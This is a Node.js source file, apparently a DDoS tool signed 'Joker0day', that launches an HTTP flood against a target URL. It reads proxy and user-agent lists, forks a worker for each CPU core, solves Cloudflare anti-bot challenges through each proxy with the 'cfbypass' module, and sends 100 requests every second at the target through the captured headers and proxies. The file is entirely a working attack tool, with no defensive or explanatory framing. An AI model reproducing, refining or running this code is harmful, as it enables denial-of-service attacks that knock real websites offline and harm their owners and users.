const cluster = require('cluster'); // By Joker0day const request = require('request'); // By Joker0day const numCPUs = require('os').cpus().length; // By Joker0day const chunks = require('array.chunk'); // By Joker0day var _ANSI = { Reset: "\x1b[0m", Bright: "\x1b[1m", Dim: "\x1b[2m", Underscore: "\x1b[4m", Blink: "\x1b[5m", Reverse: "\x1b[7m", Hidden: "\x1b[8m", FgBlack: "\x1b[30m", FgRed: "\x1b[31m", FgGreen: "\x1b[32m", FgYellow: "\x1b[33m", FgBlue: "\x1b[34m", FgMagenta: "\x1b[35m", FgCyan: "\x1b[36m", FgWhite: "\x1b[37m", BgBlack: "\x1b[40m", BgRed: "\x1b[41m", BgGreen: "\x1b[42m", BgYellow: "\x1b[43m", BgBlue: "\x1b[44m", BgMagenta: "\x1b[45m", BgCyan: "\x1b[46m", BgWhite: "\x1b[47m" }; var cfb = require('cfbypass'); var fs = require('fs'); function createHandler(_URL, _UA, _PROXY, _CALLBACK) { cfb.request({ method: 'GET', url: _URL, challengesToSolve: 3, // optional, if CF returns challenge after challenge, how many to solve before failing followAllRedirects: true, // mandatory for successful challenge solution headers: { 'User-Agent': _UA }, proxy: _PROXY, }, function(err, response, body) { if (err) { //console.log(err); _CALLBACK(false); } else { // console.log(body); _CALLBACK(response.req._headers, _PROXY); } //body is now a buffer object instead of a string }); } if (cluster.isMaster) { masterProcess(); } else { childProcess(); } function masterProcess() { var _URL, _PROXIES_FILE, _UAS_FILE, _TIME, _HANDLERS_COUNT, _HANDLERS, _WORKERS, _WORKER, _PROXIES; _WORKERS = []; console.log(`Master ${process.pid} is running`); for (var k in process.argv) { if (process.argv[k] == '-h') { _URL = process.argv[parseInt(k) + 1]; } if (process.argv[k] == '-c') { _HANDLERS_COUNT = parseInt(process.argv[parseInt(k) + 1]); } if (process.argv[k] == '-u') { _UAS_FILE = process.argv[parseInt(k) + 1]; } if (process.argv[k] == '-p') { _PROXIES_FILE = process.argv[parseInt(k) + 1]; } } var path = process.cwd(); var buffer = fs.readFileSync(path + "/"+_UAS_FILE); var text = buffer.toString(); var useragents = text.split("\n"); buffer = fs.readFileSync(path + "/"+_PROXIES_FILE); text = buffer.toString(); _PROXIES = text.split("\n"); console.log(_ANSI.FgGreen + "Preparing " + _HANDLERS_COUNT + " handlers for " + _URL + _ANSI.Reset); var _PROXIES_CHUNKS = chunks(_PROXIES,parseInt(_PROXIES.length/(numCPUs-1))); for (let i = 0; i < numCPUs; i++) { console.log(`Forking process number ${i}...`); _WORKER = cluster.fork(); _WORKERS.push(_WORKER); } for (var key in _WORKERS){ _WORKER = _WORKERS[key]; _WORKER.send({proxies:_PROXIES_CHUNKS[parseInt(key)], URL: _URL, useragents: useragents}); } // process.exit(); } function childProcess() { var _HANDLERS = []; process.on('message', function(message) { var proxies = message.proxies; var useragents = message.useragents; var _URL = message.URL; for(var i = 0; i < proxies.length; i++){ var proxy = proxies[i]; var useragent = useragents[Math.floor(Math.random()*useragents.length)]; if(proxy !== undefined && proxy !== null){ console.log(_ANSI.FgGreen + "Preparing handler for proxy "+ proxy+" with UserAgent: "+useragent+ _ANSI.Reset); createHandler(_URL, useragent, "http://"+proxy, function(a,b){ if(a !== false){ console.log("Handler Started"); a['Referer'] = _URL; _HANDLERS.push({headers: a, proxy: b}); } }); } } setInterval(function(){ if(_HANDLERS.length > 1){ for (var i = 0; i < 100; i++) { var handler = _HANDLERS[Math.floor(Math.random()*_HANDLERS.length)]; var options = { url: _URL, headers: handler.headers, proxy: handler.proxy }; request.get(options, function(error, response, body) { if(body !== undefined){ if(body.includes("visiting")){ console.log("200 OK"); } } }); } } }, 1000); }); } // Joker0day FUCK ME PLOX